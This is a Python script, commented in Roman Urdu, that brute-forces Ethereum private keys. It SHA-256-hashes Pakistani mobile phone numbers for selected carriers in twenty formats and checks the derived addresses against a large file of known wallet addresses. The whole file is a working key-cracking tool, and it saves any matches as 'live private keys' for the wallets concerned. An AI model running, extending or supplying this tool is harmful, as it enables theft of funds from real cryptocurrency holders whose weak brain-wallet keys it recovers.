from eth_account import Account # noqa: F401 import hashlib import os import time from multiprocessing import Pool, cpu_count import coincurve from eth_utils import keccak, to_checksum_address # ============================================================ # ๐Ÿ”ง YAHAN CHANGE KAREIN โ€” HARDCODED COMPANY SELECTION # ============================================================ # "1" = Jazz (0300-0309) # "2" = Warid (0320-0329) <-- ab alag company # "3" = Zong (0310-0319 + 0370, 0371) # "4" = Telenor (0340-0349) # "5" = Ufone (0330-0338) # "6" = Onic (0339) # "7" = SCOM (0355) # "8" = PTCL (0311) # "A" = ALL (saari companies) SELECTED_COMPANY = "1" # ============================================================ # ๐Ÿงช TEST_MODE = True -> har prefix ke liye sirf 1 suffix (0000000) check hoga TEST_MODE = False # ---------- Pakistan mobile companies (HARDCODED) ---------- COMPANIES = { "1": { "name": "Jazz", "codes": [f"030{i}" for i in range(10)], # 0300-0309 (asal Mobilink / Jazz) }, "2": { "name": "Warid", "codes": [f"032{i}" for i in range(10)], # 0320-0329 (asal Warid, ab Jazz mein merge ho chuka hai) }, "3": { "name": "Zong", "codes": [f"031{i}" for i in range(10)] + ["0370", "0371"], # 0310-0319 + naye 0370, 0371 }, "4": { "name": "Telenor", "codes": [f"034{i}" for i in range(10)], # 0340-0349 }, "5": { "name": "Ufone", "codes": [f"033{i}" for i in range(9)], # 0330-0338 }, "6": { "name": "Onic (Ufone)", "codes": ["0339"], # 0339 }, "7": { "name": "SCOM (Special Communications)", "codes": ["0355"], # 0355 }, "8": { "name": "PTCL (Wireless)", "codes": ["0311"], # 0311 }, } ALL_CODES = [] for key in sorted(COMPANIES.keys()): ALL_CODES.extend(COMPANIES[key]["codes"]) COMPANIES["A"] = { "name": "ALL Pakistan mobile codes", "codes": ALL_CODES, } START_SUFFIX = 0 END_SUFFIX = START_SUFFIX if TEST_MODE else 9_999_999 ADDRESSES_FILE = "11972766_addresses.csv" MATCHED_FILE_PREFIX = "matched_keys" # -------------------- 20 Phone Number Formats -------------------- def make_formats(prefix: str, suffix: str) -> list: p = prefix s = suffix p3 = p[1:] body = s[:3] tail = s[3:] intl = "92" + p3 + s return [ f"{p}{s}", f"{p}-{s}", f"{p} {s}", f"{p}.{s}", f"{p} {body} {tail}", f"+{intl}", f"+92 {p3} {s}", f"+92 {p3}{s}", f"+92-{p3}-{s}", f"+92 {p3} {body} {tail}", f"{intl}", f"92 {p3} {s}", f"92 {p3}{s}", f"0092{p3}{s}", f"0092 {p3} {s}", f"{p3}{s}", f"{p3}-{s}", f"{p3} {s}", f"{p3} {body} {tail}", f"({p}) {s}", ] # -------------------- Helpers -------------------- def load_addresses(path): addresses = set() with open(path, "r", encoding="utf-8") as f: for line in f: addr = line.strip().strip('"').strip("'").lstrip("\ufeff").lower() if addr.startswith("0x"): addr = addr[2:] if addr: addresses.add(addr) return addresses def normalize(addr: str) -> str: addr = addr.lower() return addr[2:] if addr.startswith("0x") else addr def derive_address(private_key_hex: str) -> str: priv = bytes.fromhex(private_key_hex) pub = coincurve.PrivateKey(priv).public_key.format(compressed=False)[1:] return to_checksum_address(keccak(pub)[-20:]) def build_jobs(prefixes, n_workers): total_suffixes = END_SUFFIX - START_SUFFIX + 1 per_chunk = max(1, total_suffixes // (n_workers * 2)) jobs = [] for prefix in prefixes: s = START_SUFFIX while s <= END_SUFFIX: e = min(s + per_chunk, END_SUFFIX + 1) jobs.append((prefix, s, e)) s = e return jobs, per_chunk # -------------------- Worker -------------------- _KNOWN = None def init_worker(known_set): global _KNOWN _KNOWN = known_set def process_chunk(args): prefix, start, end = args hits = [] known = _KNOWN for i in range(start, end): suffix = f"{i:07d}" for number in make_formats(prefix, suffix): key_hex = hashlib.sha256(number.encode()).hexdigest() try: addr = derive_address(key_hex) except Exception: continue if normalize(addr) in known: hits.append((number, key_hex, addr)) return hits # -------------------- Main -------------------- def main(): if not os.path.exists(ADDRESSES_FILE): raise SystemExit(f"File nahi mili: {ADDRESSES_FILE}") # ๐Ÿ” Hardcoded company validate karo if SELECTED_COMPANY not in COMPANIES: raise SystemExit( f"Ghalat SELECTED_COMPANY = '{SELECTED_COMPANY}'.\n" f"Valid options: {', '.join(sorted(COMPANIES.keys()))}" ) company_info = COMPANIES[SELECTED_COMPANY] company_name = company_info["name"] prefixes = company_info["codes"] # ---- Banner ---- print("\n" + "=" * 65) print(f" HARDCODED COMPANY: {company_name} (key = '{SELECTED_COMPANY}')") print(f" Codes ({len(prefixes)}): {', '.join(prefixes)}") print("=" * 65) if TEST_MODE: print("\n" + "๐Ÿงช" * 22) print(" TEST MODE: har prefix ke liye sirf 1 suffix check hoga") print(f" Suffix range: {START_SUFFIX} .. {END_SUFFIX}") print("๐Ÿงช" * 22) # ---- Addresses load ---- print("\nAddresses load ho rahe hain...") known = load_addresses(ADDRESSES_FILE) print(f"Loaded {len(known):,} known addresses\n") # ---- Jobs build ---- n_workers = max(1, cpu_count() - 1) all_jobs, per_chunk = build_jobs(prefixes, n_workers) total_jobs = len(all_jobs) total_suffixes = END_SUFFIX - START_SUFFIX + 1 total_candidates = len(prefixes) * total_suffixes * 20 print(f"Company: {company_name}") print(f"Workers: {n_workers} Jobs: {total_jobs} Chunk size: {per_chunk:,}") print(f"Prefixes: {len(prefixes)} Suffixes/prefix: {total_suffixes:,} Formats: 20") print(f"Total candidates (hashes): {total_candidates:,}\n") # ---- Scan ---- matches = [] done = 0 start_time = time.time() with Pool( processes=n_workers, initializer=init_worker, initargs=(known,), ) as pool: for hits in pool.imap_unordered(process_chunk, all_jobs, chunksize=8): done += 1 for number, key_hex, addr in hits: print(f"โœ… MATCH {number} -> {addr}") matches.append((number, key_hex, addr)) step = max(50, total_jobs // 20) if done % step == 0 or done == total_jobs: pct = 100 * done / total_jobs elapsed = time.time() - start_time rate = done / elapsed if elapsed > 0 else 0 eta = (total_jobs - done) / rate if rate > 0 else 0 print(f" ...{done:,}/{total_jobs:,} chunks ({pct:.1f}%) " f"{rate:.1f} chunks/s ETA {eta:.0f}s") # ---- Result ---- elapsed = time.time() - start_time print(f"\nMukammal {elapsed:.1f}s mein. {len(matches)} match(es) mile.") if matches: suffix = "_test" if TEST_MODE else "" safe_name = company_name.split("(")[0].strip().replace(" ", "_").replace(",", "").lower() out_file = f"{MATCHED_FILE_PREFIX}_{safe_name}{suffix}.txt" with open(out_file, "w", encoding="utf-8") as out: for number, key_hex, addr in matches: out.write(f"{number} {key_hex} {addr}\n") print(f"Matched keys likh diye: {out_file}") print("โš ๏ธ Kaam ke baad file delete kar dein โ€” ismein live private keys hain.") # ๐Ÿ”š Script yahan khatam print("\nScript mukammal. Allah Hafiz. ๐Ÿ‘‹") if __name__ == "__main__": main()